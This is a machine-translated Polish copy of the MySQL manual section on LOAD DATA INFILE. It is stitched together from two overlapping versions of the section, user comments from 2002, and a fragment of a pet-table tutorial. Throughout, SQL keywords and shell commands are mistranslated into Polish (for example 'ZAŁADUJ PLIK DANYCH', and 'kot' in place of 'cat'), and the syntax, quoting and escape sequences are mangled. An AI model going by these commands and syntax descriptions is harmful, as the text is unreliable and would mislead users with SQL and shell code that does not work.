Listę pól należy podać również w przypadku, gdy kolejność pól w pliku wejściowym różni się od kolejności kolumn w danej tabeli. W przeciwnym razie MySQL nie będzie w stanie odwzorować pól wejściowych na kolumny tabeli.
Jeśli wiersz ma za mało pól, wówczas kolumny, dla których w pliku wejściowym nie ma pól, są ustawiane na wartości domyślne. Przypisanie wartości domyślnych zostało opisane w punkcie 6.5.3 Składnia instrukcji CREATE TABLE.
Wartość pustego pola jest interpretowana inaczej niż brak wartości:
- W przypadku typów ciągów kolumna jest ustawiona na pusty ciąg.
- W przypadku typów liczbowych kolumna jest ustawiona na 0 .
- Dla typów daty i czasu kolumna jest ustawiana na odpowiednią wartość ``zero"' dla tego typu. Patrz rozdział 6.2.2 Typy danych daty i godziny.
Należy zauważyć, że są to te same wartości, które znalazłyby się w kolumnie po jawnym przypisaniu pustego ciągu do kolumn typu łańcuchowego, liczbowego lub typu daty lub godziny w instrukcji INSERT lub UPDATE.
Kolumny TIMESTAMP są ustawiane na bieżącą datę lub godzinę tylko wtedy, gdy kolumna jest ustawiona na NULL lub (tylko dla pierwszej kolumny TIMESTAMP), jeśli kolumna TIMESTAMP znajduje się poza listą pól, jeśli taka lista jest określona.
Jeśli ciąg wejściowy zawiera zbyt wiele pól, dodatkowe pola są ignorowane, a liczba ostrzeżeń wzrasta.
Polecenie LOAD DATA INFILE interpretuje wszystkie dane wejściowe jako łańcuchy znaków, dlatego nie można podawać wartości liczbowych dla kolumn ENUM lub SET w taki sam sposób, jak dla poleceń INSERT. Wszystkie wartości ENUM i SET muszą być podane jako stringi!
Korzystając z interfejsu API C, można uzyskać informacje o zapytaniu, wywołując funkcję API mysql_info() na końcu zapytania LOAD DATA INFILE. Poniżej przedstawiono format linii informacyjnej dla tej sprawy:
Rekordy: 1 Usunięte: 0 Pominięte: 0 Ostrzeżenia: 0
Ostrzeżenia wydawane są w takich samych okolicznościach jak przy zapisywaniu wartości poleceniem INSERT (patrz rozdział 6.4.3 Składnia instrukcji INSERT), z tym wyjątkiem, że polecenie LOAD DATA INFILE dodatkowo generuje ostrzeżenia, gdy na wejściu jest za mało lub za dużo pól strunowy. Ostrzeżenia nie są nigdzie przechowywane; liczba ostrzeżeń może być wykorzystana tylko do sprawdzenia, czy określone działania zostały wykonane normalnie. Jeśli chcesz dokładnie wiedzieć, co powoduje ostrzeżenia, powinieneś wybrać SELECT ... INTO OUTFILE do innego pliku i porównać wynik z oryginalnym plikiem wejściowym - to jedyny sposób na uzyskanie tych informacji.
Jeśli potrzebujesz ZAŁADOWAĆ DANE, aby odczytać z potoku, możesz użyć następującej sztuczki:
Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "ZAŁADUJ PLIK DANYCH "x" DO TABELI x" x
W przypadku korzystania z wersji MySQL starszej niż 3.23.25 powyższe można wykonać tylko za pomocą LOAD DATA LOCAL INFILE .
Aby uzyskać więcej informacji na temat wydajności INSERT w porównaniu z LOAD DATA INFILE i przyrostu prędkości LOAD DATA INFILE, zobacz sekcję 5.2.9 Szybkość wykonywania zapytania INSERT.
Komentarze użytkowników
| Wysłane przez Jasona Titusa | [Usuń][Edytuj] |
„Ostrzeżenia nie są nigdzie przechowywane; liczba ostrzeżeń może być używana tylko jako
wskazanie, czy wszystko poszło dobrze”
Chyba żartujesz. Czy jest to zrobione jako rodzaj kary DBA? tj. - My
WIEDZ, jakie były problemy, ale wystarczy zbudować plik wyjściowy i przejrzeć
twoje miliony rekordów, aby je znaleźć”. Czy MySQL nie umieścił ich w dzienniku błędów,
gdzie należą? Śmiało i zrób z tego opcję, ale to wystarczający kłopot
przełączam się z powrotem na Oracle (a to dużo zajmuje).
| Wysłane przez Campbell w piątek, 17 maja 2002 r., o godzinie 6:24 | [Usuń][Edytuj] |
Po drugie to. (!) Nie rozumiem, jak ty
napisz to zdanie z kamienną twarzą.
| Wysłane przez Jonathona Padfielda w piątek, 17 maja 2002 r., o godzinie 6:24 | [Usuń][Edytuj] |
Brak również informacji o tym, które wiersze są pomijane
jest podawany.
| Wysłane przez w piątek, 17 maja 2002, o 6:24 | [Usuń][Edytuj] |
Ta funkcja jest bardzo przydatna podczas przesyłania
WSTAW ze strony internetowej. Jeśli użytkownik trafi
odśwież i ponownie opublikuj dane z formularza, co skutkuje a
kolejny INSERT tych samych danych klucza podstawowego,
bum, aplikacja się psuje. W ten sposób użytkownik mógł
naciśnij F5, aż ich twarz stanie się niebieska, a oni
nie złamie instrukcji REPLACE.
| [Usuń][Edytuj] |
Mam folder MyDB w c:\mysql\data
Umieszczam tam Data.txt i kiedy wykonuję
ZAŁADUJ LOKALNY PLIK DANYCH „Data.txt” DO TABELI
MyTable mówi: Polecenie zostało pomyślnie wykonane
ale ŻADNE wartości nie są dodawane do MyTable.
Jestem pod W2K
| Wysłane przez van hoof philip w piątek, 17 maja 2002 r., o godzinie 6:24 | [Usuń][Edytuj] |
Chcę zsynchronizować moją bazę danych z inną
baza danych od czasu do czasu. Oznacza to, że ja
będzie musiał użyć funkcji REPLACE. Ale co z
rekordy, które już nie istnieją w nowszym
Baza danych. Czy zostaną usunięte w MySQL?
Czy istnieje sposób na automatyczne usunięcie tych plików? Albo jest
jedyne rozwiązanie, aby usunąć moją tabelę MySQL i odtworzyć
zanim zacznę go ŁADOWAĆ. Używam crontab
skrypty dla tej operacji, więc nie ma interakcji człowieka
jest to możliwe podczas tych operacji.
| Wysłane przez w piątek, 17 maja 2002, o 6:24 | [Usuń][Edytuj] |
Dokumentacja nie jest jasna o co
stanowi „unikalny” klucz/indeks w tym obszarze. To
odwołuje się do „wstaw”, ale wstaw nie
mieć takie ograniczenie. Znalazłem to podstawowe
klucze są wystarczająco unikalne, ale musiałem dodać
prawyborach tam, gdzie ich nie chciałem
czegoś brakuje....
| Wysłane przez w piątek, 17 maja 2002, o 6:24 | [Usuń][Edytuj] |
Otrzymywanie ostrzeżeń jest bardzo frustrujące
import danych do bazy MySQL
dostęp do jakichkolwiek informacji o ostrzeżeniach.
MySQL naprawdę musi dodać funkcję, która to zrobi
zgłaszać, o czym jest ostrzeżenie, a nie tylko
zgłosić ostrzeżenie. Najlepiej informacje o
ostrzeżenie powinno zostać udzielone niezwłocznie. Na
przynajmniej jakiś dziennik błędów powinien być
utworzone, do których użytkownik ma dostęp.
| Wysłane przez w piątek, 17 maja 2002, o 6:24 | [Usuń][Edytuj] |
Na temat "F5, aż ich twarz stanie się niebieska"...
Powinno to być obsługiwane w aplikacji. To
z pewnością nie zaszkodzi powiedzieć użytkownikowi „ty”.
już to wpisał. Przestań odświeżać."
Faktycznie, ze względu na liczbę koniec hyperniecierpliwy
przegranych tam, to wydaje się szczególnie
dobry pomysł.
| Wysłane przez Larry'ego Irwina we wtorek, 20 sierpnia 2002 r., o godzinie 11:50 | [Usuń][Edytuj] |
Bardzo przydałaby się dodatkowa opcja
na „IGNORUJ OGRANICZENIA” podczas ładowania
proces.
| Wysłane w czwartek, 5 września 2002, o godzinie 1:34 | [Usuń][Edytuj] |
Jest haczyk z „na pustym stole MyISAM, wszystko
nieunikalne indeksy są tworzone w osobnej partii”
ponieważ zastosowany mechanizm to „naprawa z
keycache”, co może być bardzo powolne, jeśli masz ich wiele
indeksy. Naprawdę trzeba użyć mechanizmu
zatrzymaj tworzenie kluczy, a następnie wykonaj naprawę za pomocą
myisamchk przy użyciu „napraw z sortowaniem”, jak opisano w
sekcja 5.2.9 (jeśli możesz to uruchomić:-()
| Wysłane do środy, 9 października 2002, o 12:43 | [ |
Składnia LOAD DATA INFILE
WCZYTAJ PLIK DANYCH" Nazwa pliku. txt” DO TABELI Nazwa tabeli
[ZAŁĄCZONE PRZEZ"]
]
]
[(Nazwa kolumny,...)]
Instrukcja LOAD DATA INFILE odczytuje wiersze z pliku tekstowego i ładuje je do tabeli z bardzo dużą szybkością.
Możesz także ładować pliki danych za pomocą narzędzia importującego mysql. Działa poprzez wysłanie instrukcji LOAD data INFILE do serwera. Opcja --local powoduje, że narzędzie mysqlimport odczytuje plik danych z hosta klienta. Możesz określić opcję -compress, aby poprawić wydajność w wolnych sieciach, jeśli klient i serwer obsługują skompresowany protokół.
Jeśli podano słowo kluczowe LOW_PRIORITY, wykonanie instrukcji LOAD DATA jest opóźnione do czasu, gdy wszyscy inni klienci zakończą odczyt.
Jeśli słowo kluczowe CONCURRENT zostanie określone z tabelą MyISAM, która spełnia warunek wstawiania równoległego (to znaczy nie ma wolnych bloków w środku pliku), wówczas inne wątki będą mogły pobierać dane z tabeli w tym samym czasie, co Wykonywane jest polecenie LOAD DATA. Użycie tej opcji ma niewielki wpływ na wydajność LOAD DATA, nawet jeśli żaden inny wątek nie działa z tą tabelą.
Jeśli określono słowo kluczowe LOCAL, odnosi się ono do strony klienta połączenia.
- Jeśli określono słowo LOKALNY, plik jest odczytywany przez program kliencki na hoście klienta i wysyłany do serwera.
- Jeśli słowo LOCAL nie zostanie określone, przesłany plik musi znajdować się na hoście serwera i jest odczytywany bezpośrednio przez serwer.
LOCAL jest dostępny w MySQL 3.22.6 i nowszych.
Ze względów bezpieczeństwa podczas odczytu plików tekstowych znajdujących się na serwerze pliki te muszą znajdować się w katalogu danych lub być czytelne dla wszystkich. Ponadto, aby użyć opcji LOAD DATA z plikami serwera, musisz mieć uprawnienie FILE.
Pobieranie z opcją LOKALNIE jest nieco wolniejsze niż w przypadku umożliwienia serwerowi bezpośredniego dostępu do pobieranych plików, ponieważ w tym przypadku zawartość plików jest przesyłana przez sieć za pośrednictwem serwera klient-serwer na odpowiednim połączeniu. Z drugiej strony, w tym przypadku nie potrzebujesz uprawnień do PLIKÓW.
Począwszy od MySQL 3.23.49 i MySQL 4.0.2 (4.0.13 w systemie Windows), LOCAL działa tylko wtedy, gdy zezwala na to zarówno klient, jak i serwer. Na przykład, jeśli mysqld zostanie uruchomiony z opcją -local-inf ile=0, to LOCAL nie będzie działać.
Jeśli musisz użyć LOAD DATA do odczytu z potoku programu, możesz użyć następującej techniki:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kot< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "ZAŁADUJ PLIK DANYCH "x1 DO TABELI x" x
Jeśli używasz wersji MySQL wcześniejszej niż 3.23.25, ta technika może być używana tylko z LOAD DATA LOCAL INFILE.
Jeśli masz wersję MySQL starszą niż 3.23.24, nie będziesz mógł czytać za pomocą instrukcji LOAD DATA INFILE z FIFO. Jeśli chcesz czytać z FIFO (np. wyjście gunzip), zamiast tego użyj LOAD DATA LOCAL INFILE.
Podczas wyszukiwania pliku w swoim systemie plików serwer kieruje się następującymi zasadami:
- Jeśli określona jest ścieżka bezwzględna, serwer używa jej w takiej postaci, w jakiej jest.
- Jeśli podano ścieżkę względną z jednym lub kilkoma komponentami wiodącymi, serwer szuka plików względem swojego katalogu danych.
- Jeśli podano nazwę pliku bez wiodących składników ścieżki, serwer szuka pliku w domyślnym katalogu danych bazy danych.
Należy zauważyć, że reguły te oznaczają, że plik o nazwie ./myfile.txt jest odczytywany z katalogu danych serwera, podczas gdy plik o nazwie myfile,txt jest odczytywany z domyślnego katalogu danych bazy danych. Na przykład poniższa instrukcja LOAD DATA INFILE odczytuje plik data.txt z katalogu danych bazy danych dbl, ponieważ dbl jest bieżącą bazą danych, mimo że instrukcja ładuje dane do bazy danych db2:
mysql> UŻYJ dbl;
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI db2.my_table;
Słowa kluczowe REPLACE i IGNORE sterują obsługą ciągów wejściowych, które powielają istniejące unikatowe klucze według wartości.
Jeśli określono ZAMIEŃ, wiersze wejściowe zastępują istniejące wiersze (innymi słowy wiersze, które mają takie same wartości klucza podstawowego lub unikalnego, jak istniejące wiersze w tabeli). Zobacz składnię REPLACE
Jeśli określono opcję IGNORE, wówczas wiersze wejściowe, które powielają istniejące wiersze z tymi samymi wartościami klucza podstawowego lub unikalnego, są ignorowane. Jeśli nie określono żadnej opcji, zachowanie zależy od tego, czy określono słowo kluczowe local. W przypadku braku LOCAL generowany jest błąd, jeśli zostanie znaleziony duplikat klucza, a pozostała część pliku tekstowego jest ignorowana. Jeśli LOKALNE jest obecne, domyślne zachowanie jest takie samo, jak w przypadku określenia IGNORE. Dzieje się tak, ponieważ serwer nie może zatrzymać przesyłania plików w trakcie trwania tej operacji.
Jeśli chcesz zignorować ograniczenia klucza obcego podczas operacji ładowania danych, możesz wydać instrukcję SET FOREIGN_KEY_CHECKS=0 przed uruchomieniem LOAD DATA.
Jeśli uruchomisz LOAD DATA na pustej tabeli MyISAM, wszystkie nieunikatowe indeksy zostaną utworzone w osobnym zadaniu (jak w przypadku REPAIR TABLE). Zwykle powoduje to, że LOAD DATA jest znacznie szybszy, gdy istnieje wiele indeksów. Jest to na ogół bardzo szybkie, ale w niektórych szczególnych przypadkach możesz tworzyć indeksy jeszcze szybciej, wyłączając je za pomocą ALTER TABLE.. .DISABLE KEYS przed załadowaniem
do tabeli, odtwarzając indeksy i włączając je za pomocą ALTER TABLE.. .ENABLE KEYS po zakończeniu ładowania.
LOAD DATA INFILE jest dodatkiem do SELECT.. .INTO OUTFILE. Zobacz Składnia SELECT Aby zapisać dane z tabeli do pliku, użyj SELECT... INTO OUTFILE. Aby wczytać dane z pliku do tabeli, użyj LOAD DATA INFILE. Składnia konstrukcji FIELDS i LINES jest taka sama dla obu instrukcji. Obie te konstrukcje są opcjonalne, ale pola muszą poprzedzać LINES, jeśli określono obie.
Jeśli określono konstrukcję FIELDS, to wszystkie jej parametry (TERMINATED BY, ENCLOSED BY i ESCAPED BY) są również opcjonalne, z wyjątkiem wymogu obecności co najmniej jednego parametru.
Jeśli konstrukcja FIELDS nie jest określona, domyślnie jest to:
POLA ZAKOŃCZONE PRZEZ „tf ZAŁĄCZONE PRZEZ „ESCAPED BY”
Jeśli LINIE nie są określone, wartością domyślną jest:
LINIE ZAKOŃCZONE PRZEZ „n! ROZPOCZĘCIE OD”
Innymi słowy, domyślne zachowanie LOAD DATA INFILE podczas odczytu danych wejściowych to:
- Poszukaj separatorów linii na początku linii.
- Nie pomijaj żadnych przedrostków ciągu.
- Podziel wiersz na pola za pomocą znaków tabulacji.
- Nie oczekuj, że pola będą cytowane.
- Interpretuj występowanie tabulacji, nowej linii lub „\” poprzedzone znakiem \ jako literalnych znaków, które są częścią wartości pola.
I odwrotnie, SELECT ... INTO OUTFILE zachowuje się domyślnie w następujący sposób:
- Zapisuje tabulatory między polami.
- Nie umieszcza wartości pól w cudzysłowach.
- Używa *” do wyróżniania tabulatorów, znaków nowej linii lub znaku „\” występującego w wartościach pól.
- Zapisuje znak nowej linii na końcu linii.
Uwaga!
Jeśli plik tekstowy został wygenerowany w systemie Windows, może być konieczne określenie WIERSZY ZAKOŃCZONYCH PRZEZ „rn”, aby poprawnie odczytać plik, ponieważ programy systemu Windows zwykle używają tych dwóch znaków jako separatorów wierszy. Niektóre programy, takie jak WordPad, mogą używać znaku „r " jako separator linii Aby odczytać takie pliki, użyj LINES ZAKOŃCZONE PRZEZ "r".
Jeśli wszystkie wiersze czytanego pliku mają wspólny przedrostek, który chcesz zignorować, użyj LINIE ROZPOCZYNAJĄCE SIĘ OD „ ciąg_prefiksów aby pominąć ten przedrostek. Jeśli łańcuch nie zawiera prefiksu, jest pomijany w całości.
opcję IGNORUJ ilość LINIE służą do ignorowania określonej liczby linii na początku pliku. Na przykład możesz użyć polecenia IGNORUJ I WIERSZE, aby pominąć wiodącą linię zawierającą nazwy kolumn:
mysql> ZAŁADUJ PLIK DANYCH "/tmp/test.txt" -> INTO TABLE test IGNORUJ 1 LINIE;
W przypadku użycia polecenia SELECT... INTO OUTFILE w połączeniu z poleceniem LOAD DATA INFILE w celu zapisania danych z bazy danych do pliku, a następnie odczytania ich i załadowania z powrotem do bazy danych opcje kontroli wiersza i pola dla obu instrukcji muszą być zgodne. W przeciwnym razie polecenie LOAD DATA INFILE nie będzie w stanie poprawnie zinterpretować zawartości pliku tekstowego. Załóżmy, że wysyłasz dane do pliku tekstowego za pomocą SELECT.. .INTO OUTFILE, oddzielając pola przecinkami:
mysql> WYBIERAĆ* DO PLIKU WYJŚCIOWEGO "data.txt" -> POLA ZAKOŃCZONE PRZEZ"," -> Z tabeli2;
Aby ponownie odczytać plik oddzielony przecinkami, należy:
mysql> ZAŁADUJ PLIK DANYCH „data.txt1 DO TABELI table2 -> POLA ZAKOŃCZONE PRZEZ
Jeśli zamiast tego spróbujesz odczytać to za pomocą poniższej instrukcji, to nie zadziała, ponieważ LOAD DATA INFILE będzie szukać tabulatorów między wartościami pól:
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELI table2 ->
POLA ZAKOŃCZONE PRZEZ „t”;
Najbardziej prawdopodobnym rezultatem byłoby zinterpretowanie ciągu wejściowego jako pojedynczego pola.
LOAD DATA INFILE może być również używany do odczytu plików z zewnętrznych źródeł. Na przykład plik może zawierać pola oddzielone przecinkami i ujęte w podwójne cudzysłowy. Jeśli wiersze w pliku są oddzielone znakiem nowej linii, poniższy przykład ilustruje, jakie opcje separatora wierszy i kolumn należy ustawić, aby załadować plik:
mysql> ZAŁADUJ PLIK DANYCH „data.txt” DO TABELINazwa tabeli-> POLA ZAKOŃCZONE PRZEZ 1,1 OBJĘTE ZNAKIEM „” -> LINIE ZAKOŃCZONE PRZEZ"N";
Dowolnym opcjom, które określają ograniczniki wierszy i kolumn, można podać jako argumenty puste ciągi („”). Jeśli argumenty nie są pustymi ciągami, wówczas wartości FOR FIELDS ENCLOSED BY I FIELDS ESCAPED BY MUSZĄ być OPCJAMI JEDNOSTKOWYMI. OPCJE Argumenty BY, LINES STARTING BY i LINES TERMINATED BY mogą mieć więcej niż jeden znak. Na przykład, aby pisać wiersze oddzielone znakami powrotu karetki/wysuwu wiersza lub czytać pliki zawierające takie wiersze, należy użyć LINES TERMINATED BY „rn”.
Aby odczytać plik oddzielony liniami ze znakami %%, możesz wykonać następujące czynności:
mysql> UTWÓRZ TABELI dowcipy
-> (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> TEKST żartu NOT NULL);
mysql> ZAŁADUJ PLIK DANYCH "/tmp/jokes,txf DO TABELI jokes -> POLA ZAKOŃCZONE PRZEZ "" -> LINIE ZAKOŃCZONE PRZEZ "\n%%\n" (żart);
FIELDS ENCLOSED BY kontroluje ograniczniki pól (cudzysłowy). Na wyjściu (SELECT ... INTO OUTFILE), jeśli pominiesz słowo OPCJONALNIE, wszystkie pola zostaną otoczone znakiem określonym w ENCLOSED BY. Przykład takiego wyjścia (z przecinkiem jako separatorem pól) pokazano poniżej:
„1”, „ciąg znaków”, „100,20”
„2”, „ciąg znaków zawierający , przecinek”, „102,20”
„3”, „ciąg znaków zawierający \” cudzysłów”, „102,20”
„4”, „ciąg znaków zawierający \”, cudzysłów i przecinek, „102,20”
W przypadku określenia OPCJONALNIE znak ENCLOSED BY ma zastosowanie tylko do cytowania pól CHAR i VARCHAR:
1,"ciąg znaków",100.20
3,"łańcuch zawierający \"cytat",102.20
4,"łańcuch zawierający \", cudzysłów i przecinek",102.20
Należy zauważyć, że wystąpienia znaku określonego w ENCLOSED BY w wartości pola są poprzedzone znakiem określonym w ESCAPED BY. Ponadto, jeśli określisz pustą wartość dla ESCAPED BY, możliwe jest, że zostanie wygenerowany plik, którego ładowanie LOAD DATA INFILE nie powiedzie się.
Na przykład, jeśli znak anulowania pozostanie pusty, powyższe dane wyjściowe będą wyglądać jak poniżej. Łatwo zauważyć, że drugie pole czwartego wiersza zawiera przecinek, po którym następuje cudzysłów, który (błędnie) wyglądałby jak separator pól.
1,"ciąg znaków",100.20
2,"łańcuch zawierający , przecinek",102.20
3,"łańcuch zawierający "cytat",102.20
4,"ciąg zawierający ", cudzysłów i przecinek",102.20
Przy wprowadzaniu znak ENCLOSED BY, jeśli występuje, jest usuwany z końca wartości pola. (To prawda niezależnie od tego, czy podano słowo OPCJONALNIE. To słowo nie ma wpływu na interpretację danych wejściowych.) Wystąpienie znaków ENCLOSED BY poprzedzonych znakiem ESCAPED BY jest interpretowane jako część bieżącej wartości pola.
Jeśli pole zaczyna się od znaku ENCLOSED BY, wystąpienia tego znaku są interpretowane jako kończące wartość pola tylko wtedy, gdy następuje po nich pole lub sekwencja TERMINATED BY. Aby uniknąć dwuznaczności, gdy znak ENCLOSED BY pojawia się w wartości pola, ten znak może zostać zduplikowany i będzie interpretowany jako pojedyncze wystąpienie znaku. Na przykład, jeśli określono ENCLOSED BY "", cudzysłowy są obsługiwane w następujący sposób:
"DUŻY" szef" -> "DUŻY" szef "DUŻY" szef -> "DUŻY" szef ""DUŻY"" szef ""DUŻY"" szef
FIELDS ESCAPED BY kontroluje odczytywanie lub zapisywanie znaków specjalnych. Jeśli argument FIELDS ESCAPED BY nie jest pusty, jest używany jako przedrostek dla następujących znaków w danych wyjściowych:
- POLA ESCAPED BY znak.
- POLA OBJĘTE ZNAKIEM.
- Pierwszy znak sekwencji POLA ZAKOŃCZONE PRZEZ I LINIE ZAKOŃCZONE PRZEZ.
- ASCII 0 (który jest zapisywany po znaku anulowania jako ASCII „0”, a nie bajt zerowy).
Jeśli znak FIELDS ESCAPED BY jest pusty, żadne znaki nie są poprzedzone znakami ucieczki, a NULL jest wyprowadzane jako NULL, a nie \N. Prawdopodobnie nie jest dobrym pomysłem pozostawienie argumentu FIELDS ESCAPED BY pustego, zwłaszcza jeśli wartości pól danych zawierają którykolwiek z wymienionych znaków.
Na wejściu, jeśli FIELDS ESCAPED BY nie jest puste, to gdy ten znak pojawia się w łańcuchu wartości, jest usuwany, a znak następujący po nim jest odczytywany dosłownie jako część wartości pola. Wyjątkami są „0” lub „N” (SYS-PAGE-CONTENT lub \N, jeśli „\” jest znakiem ucieczki). Te sekwencje są interpretowane odpowiednio jako ASCII NUL (bajt zerowy) i NULL. Zasady postępowania z wartością NULL opisano w dalszej części tej sekcji.
Więcej informacji na temat składni anulowania „\” można znaleźć w sekcji Wartości literalne
W niektórych przypadkach opcje kontrolujące pola i wiersze wchodzą ze sobą w interakcję:
- Jeśli dla LINES TERMINATED BY określono pusty ciąg, a POLA TERMINATED BY nie są puste, to LINES TERMINATED BY służy również jako separator wierszy.
- JEŻELI POLA ZAKOŃCZONE PRZEZ I POLA ZAŁĄCZONE PRZEZ są puste, używany jest stały format ciągu znaków (bez ograniczników). Ten format nie używa żadnych separatorów między polami (ale możesz mieć separator linii). Zamiast tego wartości kolumn są zapisywane i odczytywane przy użyciu szerokości wyświetlania kolumn. Na przykład, jeśli kolumna jest zadeklarowana jako INT(7), wartości tej kolumny są zapisywane do siedmioznakowego pola. Podczas pisania wartości kolumn są pobierane przez odczytanie siedmiu znaków.
LINIE ZAKOŃCZONE PRZEZ są nadal używane do oddzielania linii. Jeśli wiersz nie zawiera wszystkich pól, pozostałe kolumny są ustawiane na wartości domyślne. Jeśli nie masz terminatora linii, jego wartość powinna być ustawiona na 1". W takim przypadku plik tekstowy musi zawierać wszystkie pola w każdym wierszu. Format stałej długości linii obsługuje również wartości NULL, jak opisano poniżej. Należy zauważyć, że długość formatu linii stałej nie działa, jeśli używany jest zestaw znaków wielobajtowych (na przykład Unicode).
Obsługa wartości NULL różni się w zależności od użytych opcji POLA i LINIE:
- Przy domyślnych wartościach POLA i LINIE NULL jest zapisywane jako wartość pola jako \N na wyjściu, a ta sama wartość \N jest odczytywana jako NULL na wejściu (zakładając, że znak ESCAPED BY jest ustawiony na „\”)-
- Jeśli FIELDS ENCLOSED BY nie jest puste, to pole zawierające literalne słowo NULL jest odczytywane jako wartość NULL. Różni się to od przypadku, w którym słowo NULL jest ograniczone do PÓL OBJĘTYCH ZNAKAMI, gdzie wartość jest odczytywana jako ciąg znaków „NULL”.
- Jeśli FIELDS ESCAPED BY jest puste, NULL jest zapisywane jako słowo NULL.
- W przypadku stałego formatu ciągu znaków (co ma miejsce, gdy pola FIELDS TERMINATED BY i FIELDS ENCLOSED BY są puste), wartość NULL jest zapisywana jako ciąg pusty. Zauważ, że powoduje to, że wartości NULL i puste wiersze w tabeli stają się nie do odróżnienia podczas zapisywania w pliku, ponieważ oba zapisują puste wiersze. Jeśli musisz je rozróżnić, unikaj używania formatu stałej długości linii.
Poniżej przedstawiono niektóre przypadki nieobsługiwane przez LOAD DATA INFILE:- Ciągi o stałej DŁUGOŚCI (FIELDS TERMINATED BY I FIELDS ENCLOSED BY to nyc), gdy występują kolumny typu TEXT lub BLOB.
- Jeśli określisz ogranicznik pasujący do przedrostka innego, polecenie LOAD DATA INFILE nie może poprawnie zinterpretować strumienia wejściowego. Na przykład następująca opcja spowoduje problemy:
POLA ZAKOŃCZONE PRZEZ ""ZAŁĄCZONE PRZEZ""
- Jeśli FIELDS ESCAPED BY jest puste, wartości pola zawierające znaki FIELDS ENCLOSED BY OR LINES TERMINATED BY, a następnie LINES TERMINATED BY spowodują, że LOAD DATA INFILE zbyt szybko przestanie czytać plik lub linię. Stanie się tak, ponieważ polecenie LOAD DATA INFILE nie może poprawnie określić, gdzie kończy się wartość pola lub wiersza. Poniższy przykład ładuje wszystkie kolumny tabeli persondata: mysql> ZAŁADUJ PLIK DANYCH „persondata.txt” DO TABELI dane osobowe;
Domyślnie, jeśli na końcu instrukcji LOAD DATA INFILE nie podano listy kolumn, oczekuje się, że wiersz wejściowy będzie zawierał pola dla każdej kolumny tabeli. Jeśli chcesz załadować tylko niektóre kolumny tabeli, określ listę kolumn:
mysql> ZAŁADUJ PLIK DANYCH „persondata.txt1
-> INTO TABELA danych osobowych(zbiór,kolumna2,...);
Musisz także określić listę kolumn, jeśli kolejność pól w pliku wejściowym różni się od kolejności kolumn w tabeli. W przeciwnym razie MySQL nie będzie w stanie odwzorować pól wejściowych na kolumny tabeli.
Jeśli plik wejściowy ma zbyt mało pól w wierszu, to brakującym kolumnom zostaną nadane wartości domyślne. Przypisywanie wartości domyślnych jest opisane w sekcji Składnia CREATE TABLE.
Puste wartości pól są interpretowane inaczej niż brakujące:- W przypadku typów ciągów do kolumny jest przypisywany pusty ciąg.
- W przypadku typów numerycznych kolumna ma przypisane 0.
- Dla typów daty i czasu - kolumna jest ustawiona na odpowiedni typ
wartość „zerowa”. Zobacz Typy daty i godziny
Są to te same wartości, które wynikają z jawnego przypisania pustego ciągu do kolumn tego typu w instrukcji INSERT lub UPDATE.
Wartości kolumn TIMESTAMP są ustawiane na bieżącą datę i godzinę tylko wtedy, gdy są ustawione na NULL (czyli \N) lub jeśli kolumna tego typu jest pominięta na liście pól, jeśli lista pól jest podana.LOAD DATA INFILE traktuje wszystkie dane wejściowe jako ciąg znaków, więc nie można używać wartości numerycznych dla kolumn ENUM lub SET, jak jest to dozwolone w instrukcjach INSERT. Wszystkie wartości ENUM lub SET muszą być podane jako stringi!
Po zakończeniu instrukcji LOAD DATA INFILE zwracana jest informacja w następującym formacie:
Rekordy: I Usunięto: 0 Pominięto: 0 Ostrzeżenia: O
Jeśli pracujesz z C API, możesz uzyskać informacje o tej instrukcji, wywołując funkcję mysql_info().
Ostrzeżenia, które pojawiają się pod pewnymi warunkami, są takie same jak przy wstawianiu wartości za pomocą instrukcji INSERT (patrz rozdział 6.1.4), z tą różnicą, że LOAD DATA INFILE generuje również ostrzeżenia, że w pliku wejściowym jest za mało lub za mało. wiele pól. Ostrzeżenia nie są nigdzie zapisywane, liczba ostrzeżeń może służyć jedynie jako wskazówka, że wszystko poszło dobrze.
Począwszy od MySQL 4.1.1, możesz użyć POKAŻ OSTRZEŻENIA, aby wyświetlić pierwsze ostrzeżenia max_error_count jako informacje o Coładowanie poszło nie tak. Zobacz składnię POKAŻ OSTRZEŻENIA
Przed MySQL 4.1.1 tylko liczba ostrzeżeń wskazywała, że ładowanie nie działa płynnie. Jeśli otrzymasz ostrzeżenie i chcesz dokładnie wiedzieć, dlaczego tak się stało, jedynym sposobem, aby to zrobić, jest użycie SELECT.. .INTO OUTFILE w celu zrzucenia zrzutu tabeli do innego pliku i porównania go z oryginalnym plikiem wejściowym.
Po utworzeniu tabeli należy wypełnić ją danymi. Instrukcje i WSTAWIĆ do tego przydatne. Jak działają, porozmawiamy trochę później, ale na razie pomyślmy o danych, które należy wprowadzić do tabeli. Jak dokładnie wyglądają?
Załóżmy, że Twoje rekordy zwierząt można opisać w sposób pokazany poniżej. Zauważ, że MySQL oczekuje dat w formacie rok-miesiąc-dzień, może to różnić się od tego, do czego jesteś przyzwyczajony. Rok najlepiej wpisać jako 4 cyfry. MySQL ma dość skomplikowany algorytm do poprawnej obsługi dwucyfrowych wartości roku, ale nie musisz tego jeszcze rozumieć, więc wprowadźmy dane jednoznacznie. Wszystkie dane dotyczące zwierząt dla naszego przykładu przedstawiono w tabeli 2.2:
Tabela 2.2. Dane zwierząt
| nazwa | właściciel | gatunek | seks | narodziny | śmierć |
| Puszyste | Haroldzie | kot | F | 1993-02-04 | |
| Puszyste | Haroldzie | kot | F | 1993-02-04 | |
| Pazury | Gwen | kot | M | 1994-03-17 | |
| Buffy | Haroldzie | pies | F | 1989-05-13 | |
| Kieł | Benny | pies | M | 1990-08-27 | |
| łucznik | Diana | pies | M | 1989-08-31 | 1995-07-29 |
| Żwawy | Gwen | ptaszyna | F | 1998-09-11 | |
| Świstak | Gwen | ptaszyna | 1997-12-09 | ||
| Szczupły | Benny | wąż | M | 1996-04-29 |
Ponieważ zaczynasz od pustej tabeli, najłatwiejszym sposobem jej wypełnienia jest utworzenie pliku tekstowego zawierającego linię dla każdego ze zwierząt, a następnie załadowanie zawartości pliku do tabeli za pomocą tylko jednej instrukcji.
